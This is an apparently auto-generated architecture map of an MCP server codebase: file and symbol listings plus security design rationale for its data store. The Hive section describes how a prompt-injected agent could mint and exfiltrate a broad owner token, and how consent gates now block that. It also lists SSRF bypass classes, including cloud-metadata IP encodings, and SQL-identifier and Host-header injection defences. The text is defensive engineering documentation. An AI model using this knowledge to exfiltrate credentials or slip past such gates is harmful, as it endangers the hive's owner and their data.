A standalone OG card: wrapped title + the chart, at social dimensions (1200×630). The chart is rendered at the card's exact pixel size (with larger labels) and placed with a plain translate — no nested-svg scaling, which not every SVG renderer handles the same way.

constants.tsshared/core/constants.ts

Product identity — single source of truth for the URI scheme and product name. Import from here instead of hardcoding "mnemion://" in string literals.

urifunction

Build a full URI from a path, e.g. uri("index") → "mnemion://index"

IDENTIFIER_REconst

=== Identifier rule ===

The canonical pattern/facet-name rule (CLAUDE.md "propose_change"): must start with a lowercase letter or underscore, then only a-z, 0-9, hyphens, underscores. Case-sensitive (identifiers are lowercase). This is the SINGLE home for the agent-facing identifier shape — pattern names, facet names, and any user-supplied identifier interpolated into DDL/SQL (which can't be bound, so it must be confirmed to match this rule before quoting). Note: SQL aggregate aliases use a deliberately different rule (case-insensitive, no hyphen — see data.ts ALIAS_RE); don't fold that one in here.

HEX_TOKEN_REconst

=== Hex token rule ===

Route-param guard for hex-encoded capability tokens (invite, upload, document upload). Variable-length: any run of hex digits. One home so the five route rows that gate a :token param share the same shape. The fixed-length variant (/^[a-fA-F0-9]{32}$/) is a DIFFERENT rule (exact length) and stays inline at its single call site.

HIVE_IDconst

=== Hive identity ===

Mnemion is single-hive-per-deploy: one shared store that one or more members authenticate into. The hive's location (which Durable Object) is stable and independent of who logs in — "which hive" and "who am I" are separate concerns. HIVE_ID names the store; the actor (a member label) names the person, carried separately in the session props.

The literal stays "user:owner" so existing single-owner deploys keep their data: this is a rename for clarity, not a re-key. New deploys land on the same DO name.

OWNER_ACTORconst

The sentinel member every hive has. The bootstrap passkey (registered with the master secret) and any member-less legacy token resolve to this actor. Always active; never suspended.

dev-seed.tsshared/core/dev-seed.ts

Dev seed: realistic data for local development

Called from initializeSchema when DEV_SEED is set and no user patterns exist. Uses raw SQL (runs inside blockConcurrencyWhile during DO construction).

seedDevDatafunction
escape.tsshared/core/escape.ts

One XML/HTML text escaper, shared by every string-built markup surface — the server SVG charts (chart-svg.ts), the server-rendered pages (hive.ts), and the publication renderers (shared/IO/publications.ts) — so the three can't drift (they previously had three near-identical copies, one of which escaped ' and two of which didn't). Escapes the superset, safe in both text and double-quoted attribute contexts. Pure, no deps.

escapeXmlfunction

One XML/HTML text escaper, shared by every string-built markup surface — the server SVG charts (chart-svg.ts), the server-rendered pages (hive.ts), and the publication renderers (shared/IO/publications.ts) — so the three can't drift (they previously had three near-identical copies, one of which escaped ' and two of which didn't). Escapes the superset, safe in both text and double-quoted attribute contexts. Pure, no deps.

format-palette.tsshared/core/format-palette.ts

The format palette — the single declarative home for how a facet's VALUE is rendered (its presentation), distinct from the view palette (which governs layout) and from config roles (which govern a facet's job in a layout).

A facet's effective format is resolved from three sources, most specific first: 1. the view's per-facet override (config.formats[facet] — desk choice) 2. the facet's intrinsic format (_fields.format — the data's nature) 3. a default derived from its type (datetime → date, etc.)

Like view-palette.ts: pure data, ZERO imports, bundled into BOTH the worker (schema enum + validation) and the SPA (a Record<FormatId,…> renderer registry whose compile-time totality binds the two).

FormatTypeinterface
FORMAT_PALETTEconst

Add a format here and the enum, the agent contract, and validation pick it up; the SPA won't compile until it has a matching renderer (Record<FormatId,…>).

isFormatfunction
defaultFormatForTypefunction

The default rendering for a facet that carries no explicit format — derived from its declared type, so a datetime is friendly and a boolean is a check without anyone having to say so. Truth (the type) drives presentation.

resolveFormatfunction

The resolve chain: view override ?? facet intrinsic ?? foreign-key reference ?? type default. A declared foreign key (hasLink) wins over the type default — an FK facet is a reference by nature — but an explicit format still overrides it. Unknown ids fall through (a stale format never crashes a render — it degrades to the next source), so the resolver always returns a real FormatId.

validateFormatsMapfunction

Validate a view's per-facet formats override map: an object of facet-name → format-id. hasFacet null = pattern unknown → skip the facet-existence check (format-id checks still run). Returns [] when valid.

describeFormatPalettefunction

Agent-facing prose, generated from the palette so the contract can't drift from what's enforced. Embedded in the _views + set_facet_format docs.

host.tsshared/core/host.ts

Instance identity is configuration, not request data.

resolveHost is the single decision behind every generated capability URL (upload_url / page_url / og_image / the _system/instance doc): which host does this instance call itself?

why

A meaningfully-configured WORKER_HOST is AUTHORITATIVE and the inbound Host header is IGNORED — so an attacker who sends a spoofed Host on an unauthenticated request (e.g. a /ws upgrade) cannot poison a capability URL handed to the owner. The observed/inbound host is only the fallback for LOCAL DEV, where WORKER_HOST is unset or still the deploy placeholder and the request host IS the right answer. Pulling the priority into a pure function makes the "ignore inbound when configured" property enumerable and testable away from the Durable Object, instead of a behavior asserted only by convention.

WORKER_HOST_PLACEHOLDERconst

The wrangler.toml [vars] default for WORKER_HOST. A deploy that never ran npm run setup (which pins the real host) leaves this placeholder — treated as "not meaningfully configured", so the dev fallback applies.

resolveHostfunction

Resolve the instance host. A real configured WORKER_HOST wins and the inbound lastKnownHost is ignored (the security boundary); otherwise fall back to the observed host, then the placeholder, then "localhost" (local dev only).

log.tsshared/core/log.ts

Structured logging over Cloudflare Workers Logs.

The [observability] block in wrangler.toml turns on Workers Logs, which ingests every console.* line for 7 days AND (invocation_logs) attaches the per-request envelope — method, url, status, outcome, ray id — automatically. So a log site only emits the EVENT plus its own context; request identity is never re-derived here.

This is the ONE home for log SHAPE: every sink emits a single JSON object with a stable event key (so the dashboard can group/filter by it) plus an error/stack when a throwable is attached. Use logError at a caught failure worth investigating; logWarn for a degraded-but-handled path (a swallowed side effect, a fallback taken, a capability unavailable) that would otherwise vanish silently. Keep event a short stable slug (mutate.write_failed, prime.embed_failed), not a sentence.

logErrorfunction

A caught failure worth investigating. err is the throwable (serialized to message/name/stack); fields add structured context (ids, the op, the path).

logWarnfunction

A degraded-but-handled path that must not vanish silently (a swallowed side-effect failure, a fallback taken, an optional capability unavailable).

sql.tsshared/core/sql.ts

=== SQL identifier chokepoint ===

why

The ONE transition map: raw string → SQL identifier. Values are always bound (?); identifiers (table/column/facet names) can't be bound, so they're interpolated as double-quoted identifiers ("name"). That interpolation is the one injection escape in the engine. This module fuses validation and quoting into a single call so the boundary can't be half-crossed: a caller can't quote without validating, and a raw unvalidated identifier physically can't reach SQL through it. Upstream semantic checks (facetMeta / isValidColumn / patternExists / KERNEL_COLUMN_SET) STAY — quoteIdent is defense-in-depth beneath them, the fail-closed last line. An injection-bearing identifier (quotes, spaces, semicolons, --) doesn't match the grammar and THROWS here, even if every upstream check were forgotten.

quoteIdentfunction

Validate name against the canonical identifier grammar (IDENTIFIER_RE) and return it as a SQLite double-quoted identifier ("name"). Throws on any name that doesn't match — the grammar admits pattern names, facet names, and the snake_case kernel columns (created_by/updated_at/…), and nothing else.

Use this for EVERY SQL identifier interpolation. Never interpolate a raw "${name}" into SQL.

text.d.tsshared/core/text.d.ts
view-palette.tsshared/core/view-palette.ts

The view palette — the single declarative home for the UI shapes an agent can author for a pattern. This is the SSOT the rest of the system derives from: - schema.ts derives the _views view_type enum + the agent-facing contract (describeViewPalette) from it - kernel.ts validates every _views write against it (validateViewSpec), fail-closed at the mutate chokepoint - the web SPA dispatches to a component keyed by these same ids, and a compile-time Record<ViewTypeId, …> totality check binds the two

Pure data — bundled into BOTH the worker (server) and the React SPA (client). The only import is its sibling format-palette (also pure data, no env deps): every view may carry a universal formats override map, validated against it.

ConfigKeyinterface
ViewTypeinterface
VIEW_PALETTEconst

The palette. Add a view type here and the enum, the agent contract, and the validator all pick it up; the client won't compile until it has a matching component (Record<ViewTypeId, …>). One table, derive the rest.

isViewTypefunction
describeViewPalettefunction

Agent-facing prose, generated from the palette so the contract can never drift from what the validator enforces. Embedded in the _views schema description.

ValidateOptsinterface
validateViewSpecfunction

Validate a view spec against the palette and, when the target pattern's facets are known, against those facets. hasFacet null = pattern unknown (e.g. a partial update that doesn't carry the pattern) → facet-existence checks are skipped, structural checks still run. Returns [] when valid.

OAUTH_KVinfra
VECTORIZEinfra
AIinfra
-
Generated at 2026-06-21 16:32Z — do not edit; run the harness.
+

mnemion-js

8 components · 59 files · 496 symbols
+
Mnemionentryclaimed
Cloudflare Worker entry: an OAuth-wrapped MCP server whose one declarative route table is the whole HTTP surface.
why

The worker entry keeps the entire HTTP surface as one scannable declarative route table (method, pattern, auth gate, handler per line) so the system's shape is graspable from the declarations alone, per the "code as schematic" principle. OAuthProvider wraps the worker to own the OAuth 2.1 / DCR / token flow and intercept /mcp, /token, /register before dispatch, so the rest of the code never re-implements auth plumbing.

works when
src/index.ts exists at root fast
wrangler.toml exists at root fast
README.md exists at root fast
src/index.ts imports @cloudflare/workers-oauth-provider fast
vite.fragment.tsvite.fragment.ts
imports vite
vite.preview.tsvite.preview.ts
imports vite
vite.web.tsvite.web.ts
imports vite, @vitejs/plugin-react
worker-configuration.d.tsworker-configuration.d.ts

eslint-disable

Pipelineinterface
__RPC_STUB_BRANDconst

Branded types for identifying WorkerEntrypoint/DurableObject/Targets. TypeScript uses structural typing meaning anything with the same shape as type T is a T. For the classes exported by cloudflare:workers we want nominal typing (i.e. we only want to accept WorkerEntrypoint from cloudflare:workers, not any other class with the same shape)

Stubabletype

Types that can be used through Stubs

Stubtype
Providertype

Base type for all other types providing RPC-like interfaces. Rewrites all methods/properties to be MethodOrPropertys, while preserving callable types. Reserved names (e.g. stub method names like dup()) and symbols can't be accessed over RPC.

waitUntilfunction
withEnvfunction
withExportsfunction
envconst
exportsconst
cacheconst
tracingconst
NonRetryableErrorclass

NonRetryableError allows for a user to throw a fatal error that makes a Workflow instance fail immediately without triggering a retry

index.tssrc/index.ts
imports @cloudflare/workers-oauth-provider
store.tsweb/src/store.ts
imports react
Entrytype
ensure()method
rebuild()method
load()method

Replace a pattern's entries (initial load or coarse refetch).

has()method
patchEntry()method

Optimistically merge a patch into one entry (e.g. a drag changes status). The server's WS echo arrives moments later and overwrites with the truth.

applyDelta()method

Apply a single granular change from the live socket.

storeconst
usePatternEntriesfunction

Ordered entries for a pattern — re-renders only when the set/order changes.

useEntryfunction

A single entry — re-renders only when THAT entry changes.

Hiveclaimed
The single per-user Durable Object that owns all SQLite data and funnels every agent write through one kernel-enforced chokepoint.
why

HiveDO is the single Durable Object that owns the SQLite store; every write funnels through its mutate/batchMutate/processInput/consumeUpload chokepoints so the kernel-write boundary is enforced in one place instead of re-derived per call site. policy.ts is the dependency-free leaf SSOT for "which patterns agents can write, through which path, what gate fires" — unclassified kernel patterns fail CLOSED (System → denied), so a new pattern can never silently become agent-writable, and kernel/prime/ingress gates all derive from it so the boundary can't drift between layers.

(The per-boundary paragraphs below record the non-derivable rationale — the bug or rejected alternative each boundary exists to kill. The mechanism — chokepoint, oracle, "iterates the live domain → fails the build" — is carried by the ## invariants list and the boundary "…" at <chokepoint> via test "<oracle>" claims above, and isn't restated here.)

facet/kernel-column collision. Kernel COLUMNS get the same single-source treatment as kernel patterns: kernel-columns.ts is the SSOT for the seven auto-provided columns, and every named slice (the data engine's create-exclude/facet-skip sets, schema display, history-diff ignore set) is DERIVED from it. A user-proposed facet may not collide with a kernel column, so validateFacets reserves FACET_RESERVED_COLUMNS — the kernel columns MINUS the user-overridable ones. The one overridable column is version (a pattern may declare its own semver semantics; create_pattern's apply skips the kernel default). The historical bug was a hand-narrowed reserved subset that wrongly omitted created_by/updated_by (a same-named facet is a duplicate-column DDL error — they MUST be reserved); over-correcting to reserve version then broke the user-version feature. Splitting "overridable" into its own declaration fixes both directions at once: reserved ∪ overridable = KERNEL_COLUMNS, so neither under- nor over-reserving can recur.

data-is-destiny no-hybrid. Makes the "store truth once, derive its consequences" doctrine emergent from the schema rather than prose an agent can interpret away. The doctrine is semantic in general, but it has a DECIDABLE core: a pattern must not STORE an aggregate of rows it also RETAINS. findStoredDerivedAggregates checks exactly that, firing only when BOTH halves are present (an aggregate-named facet AND a child pattern referencing this one). It stays silent on the legitimate fork a convergence experiment surfaced — a bare counter with no retained instances IS the stored truth, not a denormalization, because there's no retained source to derive from. Boot warns rather than throws: a deliberate materialized aggregate is a valid reviewed override.

credential-mint gating. The consent dual of egress totality. A pattern with a secret column mints a born-hashed BEARER on every create, so that create MUST be consent-gated. patch_only is provably wrong for such a pattern — it declares create benign while create is the dangerous op — and that was a real shipped bug: _access_tokens was patch_only, so an injected agent could mint a broad token (a full owner login credential, redeemable at /auth/verify) in one un-round-tripped mutate and exfiltrate it. Fixed by on_broad_token: minting a broad/portable scope (, or a whole-class read/write key — isBroadTokenScope) round-trips like every other standing grant, while narrow target-bound (upload/document) and inert (register, gated by /invite passkey approval) scopes stay benign so the frequent legit flows aren't taxed. The rule DERIVES from SENSITIVE_COLUMNS × KERNEL_WRITE_POLICY (no new declaration), so re-classifying a credential-minter as patch_only/Open is unexpressible.

born-hashed secrets. The storage dual: credential-mint gating governs WHEN a bearer is minted; this governs HOW it's stored. mintSecrets is generic over SENSITIVE_COLUMNS and runs on every engine write path, so a secret-classed column is born-hashed by construction — the preimage is system-generated, returned ONCE in the create response, and only its SHA-256 digest lands in the column, the audit log, and the /ws delta. A read (owner or otherwise) yields a digest, never a usable bearer. The structural enforcement (generic mintSecrets keyed on the registry) makes this automatic for any declared secret column.

immutable-field enforcement. The registry dual of the create-time hooks: where ON_CREATE decides what a kernel row may be BORN as, IMMUTABLE / IMMUTABLE_AFTER_CREATE decide what it may never BECOME — the defense-in-depth behind the consent model. approved_at/consumed_at are IMMUTABLE so an agent can't self-approve its own invite or replay a single-use token; a token's scope/member/constraints/token and an ingress endpoint's target_pattern are IMMUTABLE_AFTER_CREATE so a row that passed create-time validation can't be silently repointed to a stronger capability; _members.label is frozen-after-create (NOT IMMUTABLE, which would reject it at birth) because it's the stable handle passkeys/tokens/attribution reference. Enforcement has two faces because the patch path edits one facet by name and sidesteps the top-level key scan: applyKernelRules covers create/update/unarchive, immutableFieldError covers patch. (scopeMatches, the :-boundary prefix grammar these freezes protect, is pinned by its own matrix test — a fixed-grammar correctness property, not a live-domain totality, so it's verified but not a boundary.)

instance-identity host. Closes the last unmanaged crossing the trust atlas surfaced (public-egress → owner-trusted): the host every generated capability URL is built from. A configured WORKER_HOST is AUTHORITATIVE and the inbound Host is IGNORED, so an attacker who plants a spoofed Host on an unauthenticated request (e.g. a /ws upgrade) can't poison an upload_url/page_url/og_image handed to the owner. This was enforced by currentHost but proven only by convention (the detector and atlas both flagged it tier-3). The decision is now the pure resolveHost (configured-wins-else-observed-else-localhost, placeholder treated as unconfigured), which currentHost delegates to — so the test IS the boundary. With this the manifold has zero tier-3 security crossings.

sql-identifier quoting. The structural enshrinement of an injection boundary that was a convention. The SQL-identifier crossing (a raw string becoming a table/column token) was guarded by "validate, then interpolate "${x}"" at scattered sites — two SEPARATE steps a new site can forget. quoteIdent fuses them: it validates against IDENTIFIER_RE and returns the double-quoted identifier, throwing on any injection-bearing name — so an identifier that skipped the upstream semantic check still can't carry injection. The query engine (~20 sites in data.ts) routes every identifier through it; the semantic checks (facetMeta/isValidColumn/patternExists) stay as the primary gate with quoteIdent as fail-closed defense beneath. This moved the boundary from tier-3 to tier-1. (DDL interpolation in schema.ts/evolution.ts is the tracked follow-up; the coarse injection-lint ratchet still covers those + the HTML egress sinks until they're enshrined too.)

token-scope-grammar. The classifier dual of credential-mint gating: that boundary decides a credential-minting create must be consent-gated; this decides WHICH scopes are "broad" enough to require the round-trip — so the partition isBroadTokenScope draws over the scope grammar IS the boundary. It drifted: a bare parts.length >= 3 cutoff classified read:entry:<pattern> (3 parts) as narrow, but scopeMatches prefix-grants it every read:entry:<pattern>:<id> — a pattern-WIDE standing read key minted with NO round-trip, an exfil credential. The fix classifies by RESOURCE GRAMMAR, not length: a scope is narrow only when it reaches its kind's LEAF depth (entry at depth 4 — pattern:id; output/publication/document/input at depth 3), so read:entry:<pattern> falls short and is broad. The oracle reconciles the partition against both scopeMatches and the kinds io.ts actually mints, so a new served resource kind can't leave it incomplete.

The write surface, two transports. The agent-facing WRITE surface reaches the engine over the interactive MCP mutate tool and the browser-authenticated /api/mutate. The gating decisions they share — which gate a single op must clear (mutateGate), which op may not ride inside a batch (findGatedBatchOp), how loosely-typed tool input normalizes — live in mutate-gate.ts as PURE derivations of policy.ts, not inline branches in the MCP handler. That removes the real drift vector: an /api+RPC test passing while the MCP Zod/consent layer silently breaks. The interactive consent round-trip MECHANICS (checkAndArmConsent + re-issue) stay in session.ts because only the MCP path can satisfy them; mutate-gate.ts decides WHETHER the round-trip fires, never how. /api stays owner-implicit (a logged-in human IS the consent).

kernel read+write capability. Reads share the SAME boundary on the SAME flag: DataContext.trusted is required and gates kernel access symmetrically — an untrusted context may neither write nor read a kernel pattern. Trust is a CAPABILITY, not a per-call-site convention: HiveDO exposes two named constructors over a trust-agnostic ctxFieldsownerDataCtx (the ONLY trusted: true) and servedDataCtx (trusted: false) — with no trust parameter to dial at a call site, so served reads (public page, OG card, publication, /o/entry) AND untrusted writes (ingress, upload) physically cannot reach kernel data. All served public reads live in one module (served.ts), handed a narrow ServedContext exposing only servedQuery for user-pattern data plus single-answer kernel-CONFIG lookups (a _shared visibility, an endpoint config row, supersession ids, facet metadata) — never db, never a trusted context, no way to construct one. This made the old per-block / per-entry isKernelPattern guards provably redundant (a kernel-named read returns empty through servedQuery, which also binds the id against injection); they were deleted, leaving one chokepoint instead of a guard to forget per sink — replacing a block-list that failed open.

egress-sensitivity totality. The read/serialization dual of the write registry, composed CORE + per-feature by the SAME discipline. The bug it kills was a FALSE oracle: the feature-security barrel composed write policy from one hand-list and sensitive columns from a SECOND, and the second silently omitted a feature (pages) — and unlike the write side, the egress side had no totality oracle, so a forked feature that declared a redact/secret column but forgot the barrel line got silently no seal/audit/export redaction. The fix makes the DOMAIN the live feature set: one FEATURE_SECURITY registry, and BOTH FEATURE_WRITE_POLICY and FEATURE_SENSITIVE_COLUMNS derive from it — no second hand-list, so a feature's sensitive columns can't be dropped independently of its write policy. findUnclassifiedSensitiveColumns is honestly demoted to a complementary NAME heuristic (it can't see a sensitive column with an innocuous name), not masquerading as full totality.

Federation. Cross-hive resolution lives in its own module (federation.ts), the one place that sends THIS hive's access token to another origin. Its token-send is CO-LOCATED with the allow-list consent check in a single function (federatedResolve) so the approved host and the contacted host can never drift apart: a token attaches only to a request whose host is BOTH not isBlockedFederationHost (SSRF) AND isHostAllowed (the _federation_hosts allow-list), re-validated on the initial request AND every redirect hop. Splitting gate from fetch — across modules or call sites — would let a future edit move one without the other; here they move as a unit. The DO hands the module a NARROW FederationContext (only the bound allow-list lookup + errorJson), so federation can read nothing else. This is the security analysis's "condition #2".

SSRF block-host coverage. The totality dual of that SSRF guard. isBlockedFederationHost must refuse every class of non-public target — loopback/private/CGNAT/link-local IPv4 in every inet_aton encoding (dotted-decimal, octal, hex, integer), the IPv6 loopback/ULA/link-local/mapped/NAT64/6to4 forms, and the .localhost/.local/.internal/.lan suffixes — and a dropped category is a silent SSRF reopening (the canonical target is the cloud-metadata IP 169.254.169.254). Its correctness was a convention ("remember every encoding") with no completeness check; the oracle's category→example table makes a new bypass class fail the build by name.

works when
hive.ts exists at this node fast
hive.ts imports cloudflare:workers fast
hive.ts imports ./data fast
policy.ts exists at this node fast
kernel-columns.ts exists at this node fast
data.ts imports ./kernel-columns fast
evolution.ts imports ./kernel-columns fast
schema.ts imports ./kernel-columns fast
hive.ts imports ./kernel-columns fast
data.ts exists at this node fast
mutate-gate.ts exists at this node fast
mutate-gate.ts imports ./policy fast
prime.ts imports ./policy fast
boundary "kernel write boundary" at writeClass via test "write-policy totality" fast
boundary "kernel read+write capability" at query via guard "context-capability totality" fast
boundary "egress-sensitivity totality" at SENSITIVE_COLUMNS via test "egress-sensitivity totality" fast
boundary "pattern-effects totality" at PATTERN_EFFECTS via test "pattern-effects totality" fast
boundary "facet/kernel-column collision" at FACET_RESERVED_COLUMNS via test "facet-kernel-collision totality" fast
boundary "data-is-destiny no-hybrid" at findStoredDerivedAggregates via test "data-is-destiny no-hybrid totality" fast
boundary "credential-mint gating" at findUngatedCredentialMints via test "credential-mint gating totality" fast
boundary "born-hashed secrets" at SENSITIVE_COLUMNS via test "born-hashed-secret totality" fast
boundary "immutable-field enforcement" at applyKernelRules via test "IMMUTABLE-registry totality" fast
boundary "token-scope-grammar" at isBroadTokenScope via guard "broad-token scope-grammar totality" fast
boundary "SSRF block-host coverage" at isBlockedFederationHost via guard "SSRF block-host totality" fast
boundary "sql-identifier quoting" at quoteIdent via guard "quoteIdent — grammar" fast
boundary "instance-identity host" at resolveHost via guard "instance-identity host resolution" fast
effects.ts exists at this node fast
effects.ts imports ../features fast
effects.ts imports ../features/compose fast
documents.ts exists at this node fast
hive.ts imports ./documents fast
served.ts exists at this node fast
hive.ts imports ./served fast
federation.ts exists at this node fast
hive.ts imports ./federation fast
reports.ts exists at this node fast
hive.ts imports ./reports fast
depends on VECTORIZE, AI
data.tsentities/Hive/data.ts

Data engine: query, mutate, search

Pure functions that take a DataContext. HiveDO keeps thin RPC wrappers that add broadcast and transaction concerns.

why

The query/mutate/search engine is pure functions over an injected DataContext so the same logic serves the MCP path and the browser /api path without duplication. executeMutate is the one chokepoint every engine write crosses: it strips forged created_by/updated_by, refuses System patterns, refuses any kernel target on an untrusted (ingress) write, and runs the kernel rules — so the boundary holds for callers entering below the MCP consent layer. patch honors field immutability here (not only in the kernel hooks) because applyKernelRules scans top-level keys and a patched facet rides in data.facet.

DataContextinterface
queryfunction
searchfunction
documents.tsentities/Hive/documents.ts

documents.ts — document-store lifecycle (R2-backed blobs), evicted from HiveDO.

Receives a narrow DocumentsContext, never this and never a trusted executeMutate. Its writes are SYSTEM bookkeeping on _documents' IMMUTABLE columns (r2_key / size / content_type / stored_at / extracted_text / extraction_status) — the columns agents cannot set through mutate — so they stay narrow, specific UPDATEs rather than a new general write chokepoint. The DO keeps thin RPC wrappers; this holds the logic.

consumeDocumentUploadfunction

Record a completed upload: bind the R2 key + metadata to the document entry and burn the single-use token.

recordExtractionfunction

Record extracted text + status, then re-embed so the text joins prime recall.

extractDocumentfunction

Schedule async PDF text extraction: mark pending, read the blob from R2, extract, record. Returns immediately; the work outlives the RPC via schedule().

resolveDocumentfunction

Resolve a document for serving. Returns found:false until bytes exist.

effects.tsentities/Hive/effects.ts

effects.ts — declarative pattern effects, the SIDE-EFFECTING half of the kernel.

kernel.ts holds the PURE pre-mutation hooks (ON_CREATE/ON_WRITE): they validate and transform DATA before insert, no I/O. This file is their symmetric impure twin: orchestration that runs AROUND a commit — mint a sub-token, schedule an R2 delete, build a capability URL, run a task. Keyed by pattern, scannable as a table, so adding a side-effecting pattern is one entry instead of another if (patternName === …) branch in mutate().

An effect receives an EffectContext — the DO's NARROWED hands — never this, and never a raw trusted executeMutate (that would be a second uncontrolled write chokepoint). The one sanctioned internal write is internalCreate.

Two phases, mirroring the kernel hooks but with a side-effect contract: before — runs PRE-commit; may read; may abort by throwing (reserve for effects that MUST succeed for the write to be valid). after — runs POST-commit; best-effort / annotating. A failed URL or token DEGRADES the result (matches today), it never unwinds the committed row.

EffectContextinterface
PatternEffectinterface
PATTERN_EFFECTSconst

PATTERN_EFFECTS is no longer a hand-written literal — it is COMPOSED from the per-feature manifests in entities/features/. Each feature declares its post-mutate effects keyed by pattern; composeEffects folds them into this flat map (and throws on a two-feature collision over the same pattern). The bodies for _documents / _pages / _system_tasks now live in their feature manifests.

This is the extensibility seam: adding a side-effecting pattern means writing a feature manifest + one barrel line — not editing this file. The shape contract (EffectContext, PatternEffect above) stays here as the leaf the manifests import.

evolution.tsentities/Hive/evolution.ts

Schema evolution engine

Each change type is one row in CHANGE_TYPES: validate, preview, apply. The full evolution surface is visible by scanning this table. proposeChange and applyChange are generic dispatchers.

why

Schema evolution is a declaration table (CHANGE_TYPES: validate/preview/apply per change type) so the full surface is scannable and adding a change type is one row, not a procedural chain. Changes are proposed then applied in two steps so the agent and the human can preview the index delta before committing; apply fires resource-update notifications. create_pattern reserves the _ namespace here so a user pattern can never collide with the kernel namespace that isKernelPattern keys on.

CHANGE_TYPE_NAMESconst

The change types an agent may propose — the single source the MCP tool's change.type enum derives from (session.ts), so a new change type is exposed through MCP automatically and the protocol contract can't drift from the engine's CHANGE_TYPES table.

applyChangefunction
revertChangefunction
federation.tsentities/Hive/federation.ts

federation.ts — cross-hive (foreign-URI) resolution, evicted from HiveDO.

This is the security-critical seam: it is the only place that sends THIS hive's access token (?token= → Authorization: Bearer) to another origin. The entire point of keeping it as one module is CO-LOCATION — the allow-list consent check and the token-bearing fetch live side-by-side in federatedResolve, so "the host the human approved" and "the host we actually contacted" can never drift apart. A token is attached only to a request whose host is BOTH (a) not isBlockedFederationHost(host) (SSRF block) AND (b) ctx.isHostAllowed(host) (consent allow-list) — and that pair is re-checked on the INITIAL request AND on EVERY redirect hop, in lockstep with the fetch loop. Splitting the gate from the fetch would let a future edit move one without the other; here they move as a unit.

FederationContext is deliberately narrow: a bound isHostAllowed(host) (which wraps the _federation_hosts lookup — the module never sees db) plus errorJson. isBlockedFederationHost / normalizeHost are pure and imported directly.

federatedResolvefunction

Resolve a foreign-hive URI (mnemion://other.hive.dev/entry/axioms/7) by fetching https://<host>/o/<path>, optionally carrying ?token= as a Bearer. The allow-list/SSRF gate and the token-bearing fetch are co-located here so an approved host and a contacted host can never diverge.

hive.tsentities/Hive/hive.ts

HiveDO — the single per-user Durable Object that owns all SQLite data.

why

Every agent write funnels through hive's mutate/batchMutate/processInput/consumeUpload methods so the kernel-write boundary is enforced at one chokepoint instead of re-derived per call site. It stays a thin shell over the pure-function domain modules (data, kernel, policy, prime, evolution, schema) with db/context injected — but the per-pattern lifecycle reactions (R2 blob delete on archive, _system_tasks dispatch, _documents upload-token mint) remain hardcoded patternName === "_x" branches here: a consciously-retained imperative seam, since lifting them into the registry was judged a larger refactor with no security payoff and they fail loudly in tests on rename.

imports cloudflare:workers
HiveDOclass
db()method
migrateTokenHashes()method

One-time cleanup of secrets that leaked BEFORE born-hashing: hash any legacy plaintext token still in _access_tokens (raw = 32 hex, digest = 64), and scrub any raw token the old post-insert path left in the _mutation_log audit trail. Idempotent; a near-no-op after the first cold start.

mintSecrets()method

Born-hashed secrets: for a CREATE of a pattern with a secret column (SENSITIVE_COLUMNS), generate the preimage in app code and set the column to its DIGEST before the row is inserted — so the audit trigger, the broadcast, and any read only ever see the hash. Returns the raw preimage for the one-time response (the only place it exists). Mutates data in place; returns null for non-secret patterns / non-create ops.

instanceUrl()method

A public URL on this instance — the one place upload_url / page_url / og_image hand-build https://{host}/{path} from the live host.

reportsCtx()method

=== Read-orchestration reports (delegated to reports.ts) ===

Recent activity, the maintenance nag, the stale-review surface, and the system-doc / instance-doc readers live in reports.ts: pure owner-context read+format builders, no writes and no security boundary. The DO injects a narrow ReportsContext (db + bound currentHost/patternClass/errorJson) and keeps thin RPC wrappers with identical signatures.

evoCtx()method
getPendingChange()method

Peek at a pending change's spec without applying it — lets the SessionDO decide whether the change needs a consent round-trip (e.g. set_sharing to a non-private visibility, which publishes an entry over HTTP).

ctxFields()method

Shared DataContext fields, trust-AGNOSTIC. The trust flag is deliberately NOT a parameter here — it is fixed by the named constructor a caller chooses (ownerDataCtx / servedDataCtx), so trust can never be dialed at a call site — there is no trust boolean to misremember.

ownerDataCtx()method

TRUSTED context — full kernel read + write. The owner/agent path (MCP session, browser session, internal writes). The ONLY constructor that sets trusted: true; if you are handed this you can reach kernel data, so it is never given to orchestration that serves untrusted surfaces.

servedDataCtx()method

UNTRUSTED context for SERVED surfaces (public page, /o, /p, OG, federation) AND untrusted WRITES (ingress, upload). trusted: false is the SAME flag the engine uses to refuse any kernel pattern, symmetric across read and write — so a serve/ingress path physically cannot reach _access_tokens/_members/etc. Orchestration handed only this constructor cannot forge a trusted write: the boundary is a capability, not a per-call-site convention.

effectCtx()method

The DO's narrowed hands handed to a pattern effect (effects.ts) — capabilities, never this and never a raw trusted executeMutate. The one sanctioned trusted write is internalCreate.

servedQuery()method

query() for a served/untrusted surface — refuses kernel patterns at the engine. Every public/OG/publication read goes through this, so the kernel read-boundary lives at one chokepoint instead of a check per serve sink.

patternClass()method

A pattern's class: "dataset" (structured records) or "knowledge" (default).

query()method
mutate()method
docsCtx()method

Narrow capabilities handed to the documents module (documents.ts) — db + R2 env + broadcast/embed/schedule, never this.

webCtx()method
resolve()method
fedCtx()method

The federation module's narrowed hands: the consent allow-list (bound over the _federation_hosts lookup, never db) + errorJson.

search()method
getEntryHistory()method

Revision history for one entry, oldest→newest: the audit log scoped to (pattern, id), with each UPDATE diffed (changed facet: from → to) and version/timestamp churn filtered out. The create is the first revision.

getEntryLabel()method

The display label for one entry — what a reference to it should show (deriveLabel: title-ish facet, else #id). Used by reference-format chips.

servedCtx()method

The served module's narrowed hands: servedQuery (the untrusted reader that refuses kernel patterns at the engine) + bound kernel-config lookups, each scoped to one answer. Never db, never a trusted ctx.

runTask()method
prime()method
isFederationHostAllowed()method

True if host has been explicitly approved for federation (active _federation_hosts row).

hasKernelVersion()method

True if the table's version column is the kernel auto-increment, not a user field.

checkAndArmConsent()method

Two-phase consent that survives session churn. First call with a key arms it (10-minute TTL) and returns false — the caller should surface the confirmation message. Re-issuing the same key while armed consumes it and returns true — the caller proceeds. Durable in DO storage because sessionless MCP clients land every call on a fresh SessionDO, where an in-memory set can never complete the handshake. The consent signal is the deliberate re-issue of identical arguments; the TTL bounds how long an armed confirmation can wait. Fails closed: storage errors never confirm.

resolveTokenConstraints()method

Validate a token's scope AND return its parsed constraints in one hashed lookup. The token column is a digest at rest, so a raw WHERE token = ? query (as marketplace did) matches nothing — callers needing constraints must go through this.

fetch()method
kernel-columns.tsentities/Hive/kernel-columns.ts

Kernel columns — single canonical home for the auto-provided column set.

Every pattern table carries these columns regardless of its declared facets (CLAUDE.md "Key conventions"). They cannot be defined via propose_change; created_by/updated_by are stamped from the session actor, never caller input.

